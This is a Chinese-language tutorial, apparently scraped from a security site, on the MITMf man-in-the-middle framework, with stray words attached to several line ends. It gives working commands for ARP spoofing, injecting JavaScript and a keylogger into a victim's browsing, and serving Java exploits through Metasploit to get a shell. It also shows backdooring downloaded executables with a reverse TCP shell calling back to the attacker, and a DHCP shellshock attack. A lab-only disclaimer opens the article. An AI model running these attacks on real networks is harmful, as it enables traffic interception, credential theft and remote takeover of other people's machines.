聲明:本文具備必定攻擊性,僅做爲技術交流和安全教學之用,不要用在除了搭建環境以外的環境。
html
0×01 題記java
又是一年十月一,想到小夥伴們都紛紛出門旅遊,皆有美酒佳人相伴,想到這裏,不由潸然淚下。子曰:「長得醜就要多讀書!」因而有了這篇文章。python
0×02 簡要介紹linux
這篇文章的主要目的是介紹一下一個最新的中間人攻擊測試框架 – MITMf。工具的做者是byt3bl33d3r,是基於代理工具sergio-proxy修改而來。這裏是工具的地址:git
https://github.com/byt3bl33d3r/MITMf
github
關於工具的一些簡介也在git的READEME中說到了。工具自己比較新,沒找到中文指南,這裏就寫一篇文章與你們一塊兒交流探討。正則表達式
剛一看到這個工具的時候,第一感受不過是一箇中間人攻擊的集合品,也沒多大興趣。原本嘛,這個概念也已經被談爛了。可是當我真的搭好環境開始玩的時候才發現其實這個框架仍是有點意思的,可擴展性很是高。除了「劫持」的概念外,一些插件也起到了「滲透」的做用。shell
0×03 工具配置windows
MITMf不支持多系統平臺,雖然是python寫的,可是玩過之後才發現根本就是給linux量身作的,因此這裏想玩的同窗若是是win環境的話,能夠考慮用虛擬機了,這裏建議使用Kali/Linux。瀏覽器
首先git下整個框架
#git clone https://github.com/byt3bl33d3r/MITMf.git /opt/mitmf/
而後咱們進行簡單的安裝
cd /opt/mitmf./install-bdfactory.sh
完成以後,進行下一步的安裝操做
cd bdfactory/./install.sh
而後,運行的時候咱們會發現仍然沒辦法啓動MITMf,會提示一些模塊缺失,咱們按照指示說的依次用pip安裝一下就能夠。
這裏須要注意一點,由於部分模塊的源是在google上面的,pip會安裝不上(如pefile),這時候能夠本身去https://pypi.python.org/pypi 下載一下而後手動安裝,安裝命令是
python xxxx install
另外,須要自行手動安裝python-nfqueue模塊
sudo apt-get install python-nfqueue
0×04 基本功能:cookies盜取,dns劫持,js注入…
這時候咱們應該可以成功啓動mitmf了。輸入./mitmf.py -h 獲得如下幫助界面:
工具備幾項基本功能:
sslstrip模塊
這個我很少說你們也都能明白,默認是開啓的狀態。這裏我嘗試了用-d參數關閉了sslstrip,可是出現了沒法使用的狀況,應該是框架自己的bug。
Filepwn模塊
主要做用是當被欺騙對象嘗試下載文件時,首先對文件進行分析,對可執行文件(PE、ELF)進行後門注入,而後再給到被欺騙對象,這個下面我還會給出詳細的說明。
Cachekill模塊
清空客戶端的緩存緩衝池,這個在咱們須要從新注入一段js時是頗有用的。這個功能仍是很是有用的,關於用處,你們能夠參考EtherDream同窗的JS緩存投毒的文章,不細說。
Spoof模塊
十分重要的一個模塊,當咱們使用MITM功能攻擊欺騙時絕對是不能缺乏的。其主要包括對ARP、ICMP、DHCP進行流量重定向(三種模式不能同時使用),手動指定iptables命令等,其餘的規則文件(cfg文件)在主目錄的config目錄下,咱們能夠進行自定義配置。這裏值得說一下是,工具還在前幾天更新了關於「破殼」漏洞的DHCP影響,咱們能夠經過shellshock參數進行指定。下面我也會有圖片進行證實演示。
BeEFAutorun模塊
該模塊可使框架能夠鏈接到BeEF,BeEF的強大我想你們是有目共睹的。鏈接到BeEF以後就能夠將MITM與瀏覽器滲透結合起來,功能天然更強大,姿式,也更猥瑣了。
Replace模塊
這個模塊主要是能夠對瀏覽內容進行替換,支持正則表達式。注意,這裏模塊默認狀況下是強制刷新緩存緩衝池的,要想不改變緩衝內容,須要手動指定keep-cache參數。
Inject模塊
能夠向被欺騙者的瀏覽內容中注入各類猥瑣的東西,好比js啦,html啦,圖片啦,小電影啦。。。也是比較有用的一個模塊,下文咱們還會說到。
Browser Profiler插件
枚舉被欺騙機器的瀏覽器插件。對於咱們前期的信息收集階段仍是頗有用的。
JavaPwn模塊
能夠經過向被攻擊機器中注入jar使得瀏覽內容被毒化,和metasploit聯合能夠直接滲透機器拿到shell(這點後文我也會重點說),metasploit有多強大玩滲透的同窗沒有不知道的吧?不知道的先出去罰站半小時(鄙人metasploit死忠粉)
Javascript Keylogger模塊
一個鍵盤記錄js,後文會有介紹
App Cache Poison
app緩存投毒。對於網頁應用程序進行毒化處理,而後進行爲所欲爲的攻擊。是Krzysztof Kotowicz的補充模塊。
Upsidedownternet
惡搞模塊,讓瀏覽者的世界翻轉。
以上是工具的簡單介紹,其中很多是不少功能你們都已經玩過了,因此我就單挑幾個給你們展現一下。
Inject模塊的注入功能
咱們首先注入一個html:
./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --html-url http://www.freebuf.com
效果圖
而後咱們再注入一個js看看:
./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --inject --js-url http://linvex.xxx.cn/test.js
效果圖
而後是工具自帶的keylogger的js,咱們看一下效果怎麼樣:
./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --jskeylogger
效果圖
經測試,密碼截獲DNS劫持什麼的都不是問題,這裏鑑於篇幅就再也不展現了。
0×05 進階玩法
以上是咱們進行的一些基本的玩法,目的只是讓你們看一下。功能比較基礎你們用的也比較多,接下來的部分,主要給你們展現一下該框架是如何結合強大的metasploit進行「滲透」的。
(一)利用java漏洞進行攻擊
首先,咱們使用的是javapwn模塊。這個模塊事實上就是根據客戶端的java版本從msf挑出攻擊payload進行溢出滲透攻擊的過程,只不過是將注入的過程加入到了ARP欺騙的過程而不是以前演示的那種直接給客戶端一個url(相似:http://192.168.111.111/UIhsdaVx),使得攻擊更爲天然。
將metasploit打開,而後載入msgrpc模塊
#msfconsolemsf > load msgrpc Pass=abc123
其餘部分保持默認就行了。而後是MITMf端,輸入如下命令:
./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --javapwn --msfip 192.168.217.137
而後咱們就只須要等待就能夠了,喝杯咖啡等一下。。這個過程咱們能夠看到靶機所瀏覽的一些網站記錄同時咱們也能接收到一些毒化html的反饋信息。
若是順利,咱們的jar就被執行了。
這是開始運行等待的時候
成功獲得shell
這兩張是成功獲得shell的界面。由於個人靶機中的java是最新的,msf中的payload沒法溢出,只是在靶機中生成了無數的鏈接。因此這裏的圖是盜的。
(二)爲PE文件注入後門實現滲透
使用Filepwn模塊,與msf結合一樣能夠得到shell。簡單說一下Filepwn的原理:ARP過程當中若是探測到靶機有下載的活動,便劫持下載連接,首先將文件下載下來進行解包分析,若是是可執行文件就嘗試注入後門,若是失敗則從新打包。最後將文件輸出給靶機由靶機進行下載。這裏的文檔支持zip和tar.gz格式解包,支持各類可執行文件。
一樣咱們打開metasploit,使用handler,開始監聽:
msfconsole
use exploit/multi/handlerset LHOST 192.168.217.137set LPORT 1447run
在使用MITMf前咱們須要對配置文件進行配置,注入信息配置以下(只列出做用位置)
…………SNIP…………
[[[WindowsIntelx86]]]
PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
HOST = 192.168.217.137
PORT = 1447
SHELL = reverse_shell_tcp
SUPPLIED_SHELLCODE = None
ZERO_CERT = False
PATCH_DLL = True
MSFPAYLOAD = windows/shell_reverse_tcp
…………SNIP…………
接下來是MITMf:
./mitmf.py --iface eth0 --spoof --gateway 192.168.217.2 --target 192.168.217.129 --filepwn
而後就是等待靶機下載文件而後執行就能夠了。
最後咱們的靶機執行了文件,而後msf得到到了shell。下面是最終結果:
點此看大圖
(三)娛樂一下
最後再看一下「破殼」是如何在DHCP中起做用的
./mitmf.py --iface eth0 --spoof --dhcp --shellshock
這裏的命令能夠用cmd參數自行指定。
關於這個問題你們一致的思路是這樣的:咱們的手機IOS、Android都是基於unix的,因此若是咱們搭建一個dhcp的WIFI服務器,能有什麼收穫呢?
0×06 總結
這個工具其實說白了就是一箇中間人攻擊的大集合,集各類功能於一身,同時擴展了BeEF框架和Metasploit的接口,使攻擊姿式更加豐富。並且,也十分與時俱進的擴展了網頁應用的毒化功能,同時給咱們帶來了更多的想法:中間人攻擊,真的只是劫持截包這麼簡單麼?內網滲透真的只能靠溢出RCE方式麼?能不能有更好的方式?答案是確定的!:)
文章到這裏暫時告一段落,簡要介紹了幾個MITMf的基礎功能,更多擴展工具閱讀
https://github.com/secretsquirrel/the-backdoor-factory
https://github.com/secretsquirrel/BDFProxy
若是有更好玩的東西,我會繼續與你們分享。
0×07 最後的小插曲
寫文章的前一天晚上,室友看我測試各類攻擊姿式,而後看了一下子感嘆說,網絡愈來愈不安全了,真是到處是坑,一不當心就可能中招。而後,咱們相視苦笑。。。
如今,問題來了:挖坑得用挖掘機。